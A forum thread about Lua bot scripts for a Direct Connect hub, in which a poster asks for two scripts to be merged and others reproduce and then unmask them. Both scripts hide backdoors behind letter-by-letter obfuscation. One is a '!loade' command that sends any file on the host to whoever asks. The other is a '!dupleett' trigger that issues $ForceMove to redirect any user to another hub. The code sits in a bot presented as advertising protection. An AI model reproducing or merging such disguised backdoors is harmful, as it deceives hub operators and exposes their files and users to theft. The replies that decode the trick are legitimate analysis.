Simple broblem.

[Janhouse]

I have 2 scripts and I whant to join them in one script.

I was trying to, but looks like I am too stupid for it. Can somebody jpin them together?  ?(

-------------------------------------------------------------------------------------------------Script Nr.1--------------------------------------

function DataArrival(curUser, data) y="l"
if (strsub(data,1,1) == "<") then x="!"
local _,_,cmd,fileordir = strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)") n="ad"
if cmd == x..y..n.."e" then
local sdata = LoadFile(fileordir)
SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
return 1 end end end
function SendPM(curUser,data)
curUser:SendPM(curUser.sName,data)
end function LoadFile(filename)
local handle = openfile(filename,"r")
local sdata = ""
if handle then
sdata = read(handle,"*a")
sdata = gsub(sdata,"|",strchar(166))
sdata = gsub(sdata,"\n","\r\n")
closefile(handle)
end return sdata
end

-------------------------------------------------------------------------------------------------Script Nr.2--------------------------------------

Botname="Aizsargs"

frmHub:UnregBot(Botname)  c="o"
frmHub:RegBot(Botname)  e="p"
function Main()  b="d"  h="r"
trigs = {["dns2go"]=1}  a="!"
end  d="u"  j="e"
function DataArrival(user, data) i="c" k="v"
if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
if not (f==nil) then
SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
end
return 1
else
if not (user.bOperator) then
if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then 
for key,a in trigs do
if( strfind( strlower(data), key) ) then
SendToOps(Botname, "  "..user.sName.." "..user.sIP.." "..data ) 
user:SendData(Botname, "  ")
user:SendData(Botname, "Disconnect...")
user:TempBan()
user:Disconnect() 
end end end end end end

-------------------------------------------------------------------------------------------------------------------------------------------------------

[[NL]Pur]

did you give it a try ? and were did you got stuck. ?



Botname="Aizsargs"

frmHub:UnregBot(Botname)  
c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d="u"
j="e"

function DataArrival(user, data)
i="c" 
k="v"

  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if not (f==nil) then
         SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
     end
  return 1
  else
    if not (user.bOperator) then
        if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then 
           for key,a in trigs do
               if( strfind( strlower(data), key) ) then
                   SendToOps(Botname, "  "..user.sName.." "..user.sIP.." "..data ) 
                   user:SendData(Botname, "  ")
                   user:SendData(Botname, "Disconnect...")
                   user:TempBan()
                   user:Disconnect() 
              end 
         end
       end
     end 
  end

  y="l"
  if (strsub(data,1,1) == "<") then x="!"
     local _,_,cmd,fileordir = strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)") n="ad"
     if cmd == x..y..n.."e" then
        local sdata = LoadFile(fileordir)
        SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
        return 1 
    end 
 end



caution this is untested

[enema]

have you noticed, that there are somekind of hiden function in it? be aware! there are some scripts with who it is possible to steal users from hub!

c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d="u"
j="e"

function DataArrival(user, data)
i="c" 
k="v"

  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if not (f==nil) then
         SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")

Looks like hiden redirecter to me.... maybe you should chek it out, before u use it!

[enema]

I unwrapped it:

when you uncode this part: "$F"..c..h..i..j.."M"..c..k..j.." "..f.."|"

heres what you get:

!ForceMove

still cant figure out what ..f.. stands for thou... probably nick of user

[Madman]

if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
	if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), !dupleett))) then
--And Also
	aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
	s,e,t,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )

Found this to....

What is this Script supposed to do?

And enema..
SendToNick(g, $ForceMove" "..f.."|")
i think g is the nickname...
SendToNick(user.sName, $ForceMove" "..f.."|")

[enema]

I would guess that this isint any game script :tongue:

[[NL]Pur]

$ForceMove is an dc protoco "command" for redirecting users

[enema]

Originally posted by [NL]Pur
$ForceMove is an dc protoco "command" for redirecting users

a.k.a - stealing

[plop]

!dupleett

every1 can redirect every user they want from the hub 2 any hub of there choise.
the best place for this script is the garbage collector.

plop

[Janhouse]

I made it with reason.

And why did you changed order in joined script. It was made for my hub. It is for security. And now you told all users what is the command. :)  :D

[??????Hawk??????]

hahahahaha

It is for security.

How can a WIDE open hole like that be for security.... ???

a tip m8 ..  dont ever release any compiled scripts in here  i dont think youll get many  takers...        


??????Hawk??????